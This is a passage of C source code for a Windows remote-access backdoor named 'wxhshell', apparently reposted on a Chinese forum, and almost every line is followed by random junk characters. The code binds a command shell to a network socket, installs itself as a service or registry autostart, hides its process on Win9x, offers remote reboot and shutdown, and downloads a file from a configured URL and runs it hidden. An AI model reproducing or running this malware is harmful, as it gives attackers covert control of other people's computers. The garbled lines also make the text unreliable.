  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJtB?<  
  } OD1>s6uA7  
  else { \]p[DYBY#  
vM /D7YS:  
    switch(cmd[0]) { @I0[B<,:G  
  I/w=!Ih  
  // 帮助 pS<j>y  
  case '?': { cvv(OkC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Iqm QQ_KH  
    break; ,OaPrAt-  
  } h*zHmkFR  
  // 安装 JdA3O{mT)  
  case 'i': { e^Lt{/  
    if(Install()) `n`aA)|<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "+ 8Y{T  
    else ?Kf?Z`9 *Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "0A !fRI~  
    break; L+$9 ,<'[  
    } ' +[fJ>Le  
  // 卸载 J@ pCF@'  
  case 'r': { 3%SwCYd  
    if(Uninstall()) T,Zfz9{n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y e1hcQ  
    else "': u#UdS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tm280  
    break; `!iVMTp  
    } G~Mxh,aD$>  
  // 显示 wxhshell 所在路径 .R>4'#8q  
  case 'p': { IgU65p  
    char svExeFile[MAX_PATH]; xs3t~o3y  
    strcpy(svExeFile,"\n\r"); ZzV%+n7<Vx  
      strcat(svExeFile,ExeFile); :f58JLX  
        send(wsh,svExeFile,strlen(svExeFile),0); M%Dv-D{  
    break; lip1wR7  
    } $P%b?Y/  
  // 重启 f^[:w1X$sM  
  case 'b': { _^pg!j[Fy}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =M+enSu  
    if(Boot(REBOOT)) zkRL'-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `$, \B  
    else { Z3]ut #`  
    closesocket(wsh); ")ZsY9-P  
    ExitThread(0); F~_)auH  
    } N=P+b%%:Z  
    break; 6H_7M(f  
    } } h pTS_  
  // 关机 Y^W.gGM  
  case 'd': { $s-HG[lX[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \+B+M 7  
    if(Boot(SHUTDOWN)) Q:~>$5Em5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9&uWj'%ia  
    else { (VzabO  
    closesocket(wsh); Kn<z<>vO  
    ExitThread(0); vg/:q>o  
    } @`6db  
    break; ,| EaW& 2  
    } OCVF+D :  
  // 获取shell j4G?=oDb  
  case 's': { ;^j 2>Azn  
    CmdShell(wsh); $5)ZaYx<  
    closesocket(wsh); HC*V\vz  
    ExitThread(0); d,9YrwbD  
    break; )cX6o[oia  
  } X3j<HQcK  
  // 退出 tu6Q7CjW8  
  case 'x': { Q]}aZ4L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d;D8$q)8Q  
    CloseIt(wsh); h (`Erb  
    break; pK~K>8\  
    } z"C+r'39d=  
  // 离开 H/Fq'FsQB  
  case 'q': { 1Goju ey  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y-iuOzq4  
    closesocket(wsh); \y G//  
    WSACleanup(); HFL(t]  
    exit(1); w Kq-|yf,  
    break; _XqD3?yH4  
        } )Ekp <2B:0  
  } &91U(Go  
  } k*8 ld-O  
HjO-6F#s  
  // 提示信息 u~9gR@e2{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S>oQm  
} noBGP/Av=:  
  } 7EKQE>xj  
? }2]G'7?  
  return; clZ jb  
} q! +?  
C?3?<FDL  
// shell模块句柄 [o=v"s't)  
int CmdShell(SOCKET sock) ^sNj[%I R  
{ \666{.a  
STARTUPINFO si; j<LDJi>O  
ZeroMemory(&si,sizeof(si)); 8Jd\2T7h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tC=`J%Ik  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >e7w!v]  
PROCESS_INFORMATION ProcessInfo; ;n Pjyu'g  
char cmdline[]="cmd"; =2z9Aq{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P%6-W5<  
  return 0; + W ? / A]  
} ad1%"~1  
$Y!$I.+  
// 自身启动模式 _[,oP s:+  
int StartFromService(void) 'Zdjd]  
{ xi]qdiA  
typedef struct I3A@0'Vm;L  
{ Rmrv@.dr!  
  DWORD ExitStatus; >!vb;a!  
  DWORD PebBaseAddress; B!=JRf T  
  DWORD AffinityMask; u*ZRU 4 U  
  DWORD BasePriority; g $\Z-!(  
  ULONG UniqueProcessId; ,rB"ag !  
  ULONG InheritedFromUniqueProcessId; 8jE6zS }m  
}   PROCESS_BASIC_INFORMATION;  0~{&  
l0m\2Ttf  
PROCNTQSIP NtQueryInformationProcess; :h>d'+\  
+K3SAGm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /=zzym~<>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pm-SDp>s  
tkFGGc}w\  
  HANDLE             hProcess; wsyG~^>  
  PROCESS_BASIC_INFORMATION pbi;  6[<*C?  
s:j"8ZH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ==[a7|q  
  if(NULL == hInst ) return 0; $ePBw~yu  
I$o^F/RH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cc?BJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )19As8rL/o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LV'@JFT-  
9Se7 1  
  if (!NtQueryInformationProcess) return 0; ^ $M@yWX6  
HeagT(rN'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2l)J,z  
  if(!hProcess) return 0; K +oFu%  
S+Aq0B<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f&w8o5=|I  
q][{?  
  CloseHandle(hProcess); *[Ld\lRj  
+X4O.6Mn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OIK14D:  
if(hProcess==NULL) return 0; >9o(84AxIH  
/qW5M4.w  
HMODULE hMod; 17Q1Xa  
char procName[255]; :>U2yI  
unsigned long cbNeeded; %z6.}4h  
'1lr "}"Q+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5 } 9}4e  
6B)3SC  
  CloseHandle(hProcess); }E5oa\ 1u  
2 0Xqs,  
if(strstr(procName,"services")) return 1; // 以服务启动 h*_h M1*;  
"5]Fl8c?  
  return 0; // 注册表启动 _`>F>aP  
} D}SYv})Ti  
EK^B=)q6:W  
// 主模块 V0Cz!YM_3  
int StartWxhshell(LPSTR lpCmdLine) b_&;i4[  
{ o#KGENd  
  SOCKET wsl; /P~@__XN  
BOOL val=TRUE; sN^3bfi!i  
  int port=0; &+?JY|u  
  struct sockaddr_in door; @(Mg>.P  
-9XB.)\#  
  if(wscfg.ws_autoins) Install(); VtX9}<Ch~  
#On EQ:  
port=atoi(lpCmdLine); lP>}9^7I!  
Vy-EY*r|  
if(port<=0) port=wscfg.ws_port; C3n_'O  
2\flTO2Ny  
  WSADATA data; ;\@co5.=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; olNgtSX  
T~%}(0=m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =9UR~-`d\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3s iWq9 .  
  door.sin_family = AF_INET; 8Wn;U!qT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wN[mU  
  door.sin_port = htons(port); ;2||g8'  
-c-#1_X5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C WJGr:}&  
closesocket(wsl); {Mc^[}9  
return 1; :` >|N|i  
} V[<]BOM\v  
s)#8>s-  
  if(listen(wsl,2) == INVALID_SOCKET) { {{b&l!  
closesocket(wsl); RbUhLcG5  
return 1; `T H0*:aI  
} *u$MqN  
  Wxhshell(wsl); 9$&+0  
  WSACleanup(); FgILQ"+  
yoKl.U"&  
return 0; usb.cE3 z  
3[kY:5-  
} KX e/i~AS  
-aCtk$3  
// 以NT服务方式启动 d'~sy>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8}m bfu o1  
{ :3k&[W*  
DWORD   status = 0; o8+ZgXct  
  DWORD   specificError = 0xfffffff; t?NB#/#%x  
0GR\iw$[J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a+$WlG/x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z4f\0uQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [#y/`  
  serviceStatus.dwWin32ExitCode     = 0; AtRu)v6r  
  serviceStatus.dwServiceSpecificExitCode = 0; ZCJOh8  
  serviceStatus.dwCheckPoint       = 0; 3.q%?S}*  
  serviceStatus.dwWaitHint       = 0; d\aarhD8*  
14TA( v]T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^dB~#A1  
  if (hServiceStatusHandle==0) return; [KA&KI^hF  
7 jq?zS|  
status = GetLastError(); 5Xn+cw*  
  if (status!=NO_ERROR) 'p=5hsG  
{ "mbcZ5 _  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kq}/`P  
    serviceStatus.dwCheckPoint       = 0; %G6ml,  
    serviceStatus.dwWaitHint       = 0; %Z@+K_X9x  
    serviceStatus.dwWin32ExitCode     = status; /+\m7IS  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ha l,%W~e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mQmn&:R  
    return; ! 8q+W`{  
  } )clSW  
2}Dd{kC-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YfBb=rN2s  
  serviceStatus.dwCheckPoint       = 0; 0-H!\IB  
  serviceStatus.dwWaitHint       = 0; _3UH"9g{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z;:c_y!f  
} >C"f'!oM,j  
(lwrk(  
// 处理NT服务事件,比如:启动、停止 <rUH\z5cP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QUL^]6$  
{ @OOnO+g  
switch(fdwControl) 7n*,L5%?]4  
{ 9-;ujl?{  
case SERVICE_CONTROL_STOP: R<VNbm;  
  serviceStatus.dwWin32ExitCode = 0; [%(}e1T(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]M AB  
  serviceStatus.dwCheckPoint   = 0; ,-PzUR4_Kj  
  serviceStatus.dwWaitHint     = 0; gakmg#ki  
  { qms+s~oA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qbjBN z  
  } SVsLu2tVY  
  return; uGm~ Oo  
case SERVICE_CONTROL_PAUSE: t3ua5xw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L/1zG/@  
  break; l2uh"!  
case SERVICE_CONTROL_CONTINUE: (vm &&a@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fMe "r*SU  
  break; ugexkdgM  
case SERVICE_CONTROL_INTERROGATE: Xg:w;#r,  
  break; *<k8H5z8]  
}; ;K<e]RI;?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wx#((T  
} < aeBhg%  
g z!q  
// 标准应用程序主函数 y+f@8]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (lbF/F>v  
{ c"BFkw  
m(QGP\Ya  
// 获取操作系统版本 :0,q>w  
OsIsNt=GetOsVer(); ( zQ)EHRD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [:gPp)f,  
v3|-eWet^  
  // 从命令行安装 ;-p1z% u  
  if(strpbrk(lpCmdLine,"iI")) Install(); SH>L3@Za  
Az4+([  
  // 下载执行文件 3R(GO.n=]  
if(wscfg.ws_downexe) { 8hWB TUN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) } DY{>D>  
  WinExec(wscfg.ws_filenam,SW_HIDE); `>CHE'_  
} fl| 8#\r  
m1@ste;$W  
if(!OsIsNt) { dz fR ^Gv  
// 如果时win9x,隐藏进程并且设置为注册表启动 TWF6YAQ m  
HideProc(); RAMkTS  
StartWxhshell(lpCmdLine); nR)/k,3W  
} p2T%Zl_  
else % 1Y!|306  
  if(StartFromService()) ( ON n{12Q  
  // 以服务方式启动 L[\m{gN  
  StartServiceCtrlDispatcher(DispatchTable); n1OxT"tD  
else .kpL?_  
  // 普通方式启动 l`9<mL  
  StartWxhshell(lpCmdLine); SS?^-BI  
X`km\\*  
return 0; lz>YjK:  
}
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只看该作者 1 发表于: 2006-10-10
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